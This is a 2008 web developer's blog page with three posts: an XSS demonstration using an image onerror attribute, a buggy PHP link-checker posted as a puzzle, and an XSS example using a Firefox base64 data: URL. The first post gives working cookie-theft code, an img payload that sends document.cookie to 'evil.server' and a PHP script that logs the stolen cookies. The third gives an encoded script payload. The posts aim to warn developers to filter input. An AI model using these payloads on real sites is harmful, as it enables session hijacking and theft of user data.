XSS with Img OnError attribute

March 19th, 2008 by Aaron

So much of my time is spent worrying over the src or href tags on images and links - that I sometimes forget about the other attributes.

Imagine being able to make an image which has no black-flagged content in the src but yet can still make a remote request, logging the user’s cookie information? Thats right - this can be done - using the ‘onerror’ attribute of an image.

What you need to do is to create an image link that is obviously broken or empty. Then, javascript handles such events by throwing an error for that element. Add an item to the onerror attribute to request a remote URL as your images src - which you add on document.cookie. The remote script logs all requests, and then displays an image.

Check out the code below:

Source page without proper filtering:

1
2
3
4
5
6
7
<html>
<body>
<h1>test</h1>
<h2>asdf</h2>
<img src="" onerror="this.src='http://evil.server/exploit.php?'+document.cookie" />
</body>
</html>

Then, on evil.server, place your image. Finally, top it off with the following code in exploit.php

1
2
3
4
5
6
7
8
<?php
$image_path = 'test.jpg';
header('Accept-Ranges: bytes');
header('Content-Length: ' . filesize($image_path));
header('Keep-Alive: timeout=15, max=2469');
echo file_get_contents($image_path);
file_put_contents("cookieLog.txt", $_SERVER['REQUEST_URI']);
?>

Easy as that. Just another reminder to properly filter your use submitted content.


Link Checking Module - 1st attempt

March 19th, 2008 by Aaron

So I wrote some code the other day. It sat in my code repository and I never tested it. I was pretty certain it was going to be some good code, though.

A few weeks later I came back to it and looked through it - and laughed!! Anyone figure out where ALL the holes are in this code?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
<?php
class linkChecker
{
    protected $_links = array();
 
    protected $_sites = array();
 
 
    public function __construct() 
    {
 
    }
 
    public function addSite($site)
    {
        if (in_array($site, $this->_sites)) {
            throw new linkException("Site already in list");
        }
 
        $this->_sites[] = $site;
    }
 
    public function processSites()
    {
        foreach ($this->_sites as $site) {
            $this->_processLinks($site);
        }
    }
 
    protected function _processLinks($url)
    {
        $this->_addLink($url, $url);
        $d = new DomDocument;
        @$d->loadHTMLFile($url);
        foreach ($d->getElementsByTagName('a') as $link) {
            $this->_addLink($link->getAttribute('href'), $url);
        }
        unset($d);
    }
 
    protected function _addLink($link, $url)
    {
        $l = new checkableLink($link, $url);
        if (!isset($this->_links[$l->url])) {
            $this->_checkLink($l);
            $this->_links[$l->url] = $l;
        }
        unset($l);
    }
 
    protected function _checkLink(checkableLink &amp;$checkableLink)
    {
        $d = new DomDocument;
        $d->loadHTMLFile($checkableLink->url) or $checkableLink->valid = false;
    }
}
 
 
 
 
 
 
class checkableLink
{
    public $host = null;
 
    public $url = null;
 
    public $checked = false;
 
    public $valid = true;
 
    public function __construct($link = null, $url = null)
    {
        if (stripos($link, '/') === 0) {
            $this->url = $url . $link;
        }
        else {
            $this->url = $url;
        }
    }
}
 
class linkException extends exception
{}
?>

Update your URL filtering: possible XSS from “Data” URL scheme - Firefox

March 17th, 2008 by Aaron

In regards to the Data in URL scheme (RFC here), I’ve found an interesting issue with the way firefox handles it which could lead to some XSS I think.

First of all, if you’re not aware of the feature, let me explain. Browsers are built to decode information in the URL (for the purpose of this blog, I’m JUST focusing on base64) with a specific URL handler: data:text/html;base64,

With this, you can add specific payloads to the URLs (think a very very small .com or .exe file) or specify the actual image data for an image tag (think single PHP scripts with no image directory - neeto!)

Well, because Firefox supports this action, you can now create javascript payloads in the URL too. Please check your HTML/URL filtering routines to make sure you filter against this malicious link type.

Lets see an example:

First off, this is just an example - so it’s pretty simple. But I could make a request to a remote server through an image.src or an ajax call. Here, I’m just alerting the cookie to the screen (note, if this wasn’t an alert, the average user would not notice.)

View CodeJAVASCRIPT
1
<script>alert("cookie steal: "+document.cookie);window.location.href='http://www.google.com';</script>

Which, when base64 encoded is

PHNjcmlwdD5hbGVydCgiY29va2llIHN0ZWFsOiAiK2RvY3VtZW50LmNvb2tpZSk7d2luZG93LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly93d3cuZ29vZ2xlLmNvbSc7PC9zY3JpcHQ+

Put it all together:

1
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiY29va2llIHN0ZWFsOiAiK2RvY3VtZW50LmNvb2tpZSk7d2luZG93LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly93d3cuZ29vZ2xlLmNvbSc7PC9zY3JpcHQ+">Google.com</a>

Now, I’ve tested this example in Firefox 2 which supports this scheme - and it alerts the cookie. With IE 7, no such luck.

*Disclaimer* It should be noted, I think this is NOT an issue with Firefox’s handling of the specification. See #6:

6. Security

   Interpretation of the data within a "data" URL has the same security
   considerations as any implementation of the given media type.  An
   application should not interpret the contents of a data URL which is
   marked with a media type that has been disallowed for processing by
   the application's configuration.

|
©2008 102 Degrees LLC - All Rights Reserved Home Services Products Network Blog Open Source Learning Contact